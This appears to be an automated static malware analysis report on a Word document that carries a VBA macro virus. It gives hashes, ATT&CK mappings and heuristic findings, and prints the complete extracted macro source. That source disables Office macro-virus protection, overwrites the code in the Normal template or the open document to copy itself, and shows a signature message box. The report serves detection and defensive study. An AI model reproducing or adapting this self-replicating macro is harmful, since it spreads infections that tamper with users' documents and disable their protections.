Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 bb8ec168ae88be4c…

MALICIOUS

Office (OLE)

293.0 KB Created: 2015-05-29 06:40:00 Authoring application: Microsoft Office Word First seen: 2015-09-15
MD5: 0146a12f98a2f7c0006a2b49ffe22ee0 SHA-1: 93df78813293962ed4310c3c4e793b7d75494cec SHA-256: bb8ec168ae88be4c3d30bc41d6d11794d53de3287a2ad9bec766bc9c8c02c6f3
90 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a Word document containing VBA macros. The Document_Open macro is designed to replicate itself to other documents and disable macro virus protection. The macro also displays a message box with the text 'Basic class macro by jackie', which is likely a marker or identifier for the malware.

Heuristics 4

  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
       Options.VirusProtection = False
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1200 bytes
SHA-256: a382974156f3fd0d7437d5d0912e24dc62b21e5bf907854843eec68e933a0c4f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
'APMP
Private Sub Document_Open()
   On Error Resume Next
   Application.DisplayStatusBar = False
   Options.VirusProtection = False
   Options.SaveNormalPrompt = False      '以上都是基本的自我隐藏措施
   MyCode = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 20)
   Set Host = NormalTemplate.VBProject.VBComponents(1).CodeModule
   If ThisDocument = NormalTemplate Then _
      Set Host = ActiveDocument.VBProject.VBComponents(1).CodeModule
   With Host
       If .Lines(1, 1) <> "'APMP" Then   '判断感染标志
          .DeleteLines 1, .CountOfLines  '删除目标文件所有代码
          .InsertLines 1, MyCode         '向目标文档写入病毒代码
          If ThisDocument = NormalTemplate Then _
             ActiveDocument.SaveAs ActiveDocument.FullName
       End If
   End With
   MsgBox "Basic class macro by jackie", vbOKOnly, "APMP"
End Sub